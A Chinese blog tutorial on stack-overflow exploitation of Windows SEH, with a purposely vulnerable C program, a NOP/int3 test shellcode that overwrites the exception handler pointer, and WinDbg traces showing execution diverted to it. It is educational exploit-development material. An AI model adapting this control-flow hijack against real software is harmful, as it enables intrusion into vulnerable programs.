前面一篇blog <堆溢出(DwordShoot)利用SEH异常处理 > 里提到了基于堆溢出利用SEH的方式,本文将侧重于栈溢出利用SEH异常处理。

先来看下示例代码:

#include <windows.h>
#include <stdio.h>char shellcode[] = {"\x90\x90\x90\x90\x90\x90\xeb\x10" \"\x90\x90\x90\x90\x90\x90\x90\xcc" \"\x90\x90\x90\x90\x08\x33\x42\x00" \"\x90\x90\x90\x90\x90\x90\x90\x90" };int main()
{char buff[8] = {0};printf("shellcode:%08x\n",shellcode);int i=0,j=0;__try{memcpy(buff,shellcode,0x18);i/=j;}__except(1){printf("exception handled\n");}return 0;
}

程序进入__try/__except块后,查看栈中刚形成的异常处理节点和buff的内存分布:

0:000> !exchain
0012ff70: SEHOverflow!_except_handler3+0 (00401600)CRT scope  0, filter: SEHOverflow!main+92 (004010a2)func:   SEHOverflow!main+98 (004010a8)
0012ffb0: SEHOverflow!_except_handler3+0 (00401600)CRT scope  0, filter: SEHOverflow!mainCRTStartup+f8 (004017d8)func:   SEHOverflow!mainCRTStartup+113 (004017f3)
0012ffe0: kernel32!_except_handler3+0 (77e7bb86)CRT scope  0, filter: kernel32!BaseProcessStart+29 (77e85168)func:   kernel32!BaseProcessStart+3a (77e85179)
Invalid exception stack at ffffffff
0:000> dd buff L1
0012ff60  00000000

当前异常处理节点 _EXCEPTION_REGISTRATION_RECORD位于0x12ff70,buff位于0x12ff60,两者相距0x10B。换言之,只要往buff中拷贝超过0x10B字节,就能覆盖异常处理节点。但要修改 _EXCEPTION_REGISTRATION_RECORD! Handler,使得异常发生时跳进shellcode执行,则至少溢出到0x18B。 前文已经说过_EXCEPTION_REGISTRATION_RECORD! Handler中存放的是函数指针,指向__except_handler3函数,异常出现时通过( _EXCEPTION_REGISTRATION_RECORD-> Handler)();语句进入__except_handler3进行处理。为了跳进shellcode执行,需要将 _EXCEPTION_REGISTRATION_RECORD! Handler中保存的地址溢出为shellcode的地址。程序运行时,shellcode的地址是0x423308,因此,我向shellcode偏移0x14处填入0x423308,这样异常出发时即可跳进shellcode执行,如下图:

异常发生前:

触发异常:

触发异常后进入shellcode:

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00423308 edx=77f833b4 esi=00000000 edi=00000000
eip=00423308 esp=0012fb48 ebp=0012fb68 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
SEHOverflow!shellcode:
00423308 90              nop
0:000> u .
SEHOverflow!shellcode:
00423308 90              nop
00423309 90              nop
0042330a 90              nop
0042330b 90              nop
0042330c 90              nop
0042330d 90              nop
0042330e eb10            jmp     SEHOverflow!shellcode+0x18 (00423320)
00423310 90              nop

最后,我们来看下栈溢出后,对异常处理链表的影响:

0:000> !exchain
0012fb5c: ntdll!ExecuteHandler2+3a (77f833b4)
0012ff70: SEHOverflow!shellcode+0 (00423308)
Invalid exception stack at 90909090

可以看到,由于buff溢出覆盖了整个异常处理节点,影响了 _EXCEPTION_REGISTRATION_RECORD!Next的值,因此,整个异常处理链表在发生覆盖后就突然断了。相对的,堆溢出后,仅仅影响的是_EXCEPTION_REGISTRATION_RECORD!Handle部分,比起栈溢出那种大动作,它优雅很多~

栈溢出利用SEH异常处理相关推荐

  1. 堆溢出(DwordShoot)利用SEH异常处理

    异常处理的身影处处可见,最常见的处理方式就是当异常发生时,在异常处理模块中记录日志,便于程序员事后定位.但是,被异常处理包含的代码真的会在异常发生时让程序优雅的退出吗?在程序的世界里什么都可能发生,所 ...

  2. [网络安全自学篇] 五十四.Windows系统安全之基于SEH异常处理机制的栈溢出攻击及防御解析

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了XP和Kali环境搭建,通过Windows漏洞实现栈溢出攻击,通过Me ...

  3. SEH异常处理学习总结

    前一段时间,在看异常处理一章内容的时候,发现这一部分还真的挺有尿水:)所以上网搜了一下有关内容,呦嗬,还挺丰富的.当然有些自己还是看不懂,现在就将这些宝贝拿出来跟大家共享一下. 首先我们看一下使用异常 ...

  4. 利用 SEH 机制 Exploit it

    SEH("Structured Exception Handling"),即结构化异常处理,是(windows)操作系统提供给程序设计者的强有力的处理程序错误或异常的武器. 有漏洞 ...

  5. 栈溢出利用-----jmp esp

    通过jmp esp利用栈溢出,首先我们要找出jmp esp 的地址,因为系统不同,通用jmp esp的地址可能不同,下面的代码是找出jmp esp的地址的: #include<windows.h ...

  6. 易语言关于SEH异常处理

    Hello,大家好,我又来摸鱼了,来看这个的大部分人都是用易语言的吧,所以我就用易语言的定义来表示吧,照顾大部分人.当然本人不是专业人士,就一摸鱼外行,难免有亿些大错误,希望各位大佬们指正错误(别骂人 ...

  7. 缓冲区溢出之栈溢出利用(手动编写无 payload 的 Exploit)

    0x01 介绍 Exploit 的英文意思就是利用,它在黑客眼里就是漏洞利用.有漏洞不一定就有Exploit(利用),有Exploit就肯定有漏洞.编写缓冲区溢出的Exploit分为3个方面:漏洞溢出 ...

  8. 攻击windows异常处理机制SEH

    转载自个人博客0pt1mus 0x00 简介 本文主要有两个部分.第一部分介绍windows异常处理机制中的SEH,详细介绍SEH的工作原理.第二部分介绍如何通过栈溢出实现利用SEH来绕过GS. 0x ...

  9. Win32 结构化异常处理(SEH)探秘【下篇】

    图十三 UnHandledExceptionFilter 函数的伪代码 UnhandledExceptionFilter( STRUCT _EXCEPTION_POINTERS *pException ...

最新文章

  1. Speed4Web 绿色纯净版
  2. Pandas to_json() 中文乱码,转化为json数组
  3. mysql bench建立一张表_使用MySQL Workbench建立数据库,建立新的表,向表中添加数据...
  4. zblog php 调用缩略图,缩略图插件
  5. C/C++ SQLite 之基础篇
  6. [TC]SRM615 div1 250 AmebaDiv1
  7. [HZAU]华中农业大学第四届程序设计大赛网络同步赛
  8. 【全套完结】数字信号处理----全套Matlab实验报告【建议保存】
  9. 联想y430完全拆机图解_y430p拆机详细步骤及如何安装mSATA接口的固态硬盘?
  10. pscc2018更新内容
  11. UI设计中置灰功能总结
  12. 把路由器变成音乐播放器和网络收音机,支持摇控
  13. 支付API接口(支付宝支付接口微信支付接口)
  14. 瑞萨Ez-cube仿真器引脚与4线接口对应关系
  15. QT -关于QLineEdit的函数text获取的值是空的
  16. 【水果大全】快看,你属于哪种水果身材?
  17. php 微信获取门店列表,【转载】微信公众号获取用户地理位置并列出附近的门店...
  18. 绝版CocoStudio下载——致我们终将逝去的青春
  19. Java: 数组、列表和集合的互相转换
  20. open-falcon开源监控使用

热门文章

  1. 如何实现超大文件上传?
  2. 骗子预警,大家注意,飞鸟资源网 www.fn121.c*o*m
  3. 计算机页面排版的笔记,推荐6种简单实用的手绘笔记排版
  4. 关于中文乱码问题的一些解决方案和经验
  5. python3 url解析 urllib.parse.urlparse 库简介
  6. C# Math.Abs()取“绝对值”方法使用过程中需要注意的地方
  7. 【MCAL_CANDriver】-2.1-硬件过滤(Hardware Filter)详述及配置
  8. MyEclipse老是提示 resetting selection 长耗时的问题
  9. 计算机一级excel建立数据透视表,计算机二级Office:Excel数据透视表和透视图
  10. 手动实现表格分页功能